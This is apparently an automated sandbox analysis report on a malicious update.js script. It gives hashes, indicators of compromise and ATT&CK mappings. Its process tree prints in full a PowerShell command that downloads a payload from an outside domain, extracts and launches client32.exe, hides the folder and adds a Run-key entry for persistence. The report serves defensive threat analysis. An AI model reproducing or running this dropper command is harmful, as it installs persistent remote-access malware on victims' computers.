b7d067b7dd7fb8f91d5df34d24fe4c44bd6da73b16d06674b8f02115a7364e07

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
18-04-2024 15:31

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General

Target

update.js
Size

14.0MB
MD5

f5939cb008c6b2f0b14ada53776fe570
SHA1

1f536bd1399548d04aa0b4b6a74d5a8c12e3c643
SHA256

a6125ebaa40f9c6eb9fe9b753c9f066e43713cab31c464d1601f7a2abdbe7c02
SHA512

a5ccbc4ef7cd0f5a5ce34852fc4596573d1445a5563facb767d155371203916fd29d5ba2ab56507fed52e0c6979083a905f5cd9f8f579b5e709d7ae2f428ed61
SSDEEP

49152:87V7zjCxbzqHlp4LhyN0kghDzLZzjYzYsmCW+8z2V35//9SGGqHm3quVIKXgxcER:m

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

https://beautyservicenearme.com/data.php?8838

exe.dropper

https://beautyservicenearme.com/data.php?8838

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2096	powershell.exe
6	2096	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2096	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2096	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1736 wrote to memory of 2096	1736	wscript.exe	28
PID 1736 wrote to memory of 2096	1736	wscript.exe	28
PID 1736 wrote to memory of 2096	1736	wscript.exe	28

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\update.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $UcZctLCmEtbcnvSYsTGhPQubtWwaaIDl='https://beautyservicenearme.com/data.php?8838';$MoIFydvsffaOFrkbuhxurBLYbzH=(New-Object System.Net.WebClient).DownloadString($UcZctLCmEtbcnvSYsTGhPQubtWwaaIDl);$IgFsyQktTRAIEbAiPQTXmgSkFbxoHRq=[System.Convert]::FromBase64String($MoIFydvsffaOFrkbuhxurBLYbzH);$zxc = Get-Random -Minimum -5 -Maximum 17; $EQuYTKytTtzKuvtratyAyFMsdsDyVqnpPKF=[System.Environment]::GetFolderPath('ApplicationData')+'\DIVX'+$zxc;if (!(Test-Path $EQuYTKytTtzKuvtratyAyFMsdsDyVqnpPKF -PathType Container)) { New-Item -Path $EQuYTKytTtzKuvtratyAyFMsdsDyVqnpPKF -ItemType Directory };$p=Join-Path $EQuYTKytTtzKuvtratyAyFMsdsDyVqnpPKF 'BB.zip';[System.IO.File]::WriteAllBytes($p,$IgFsyQktTRAIEbAiPQTXmgSkFbxoHRq);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$EQuYTKytTtzKuvtratyAyFMsdsDyVqnpPKF)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $EQuYTKytTtzKuvtratyAyFMsdsDyVqnpPKF 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$AZ=Get-Item $EQuYTKytTtzKuvtratyAyFMsdsDyVqnpPKF -Force; $AZ.attributes='Hidden';$s=$EQuYTKytTtzKuvtratyAyFMsdsDyVqnpPKF+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='OFFICE_C';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2096

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2096-5-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/2096-6-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2096-4-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/2096-7-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2096-8-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/2096-10-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2096-9-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/2096-11-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download
memory/2096-12-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp

Filesize
9.6MB

Download
memory/2096-13-0x0000000002820000-0x00000000028A0000-memory.dmp

Filesize
512KB

Download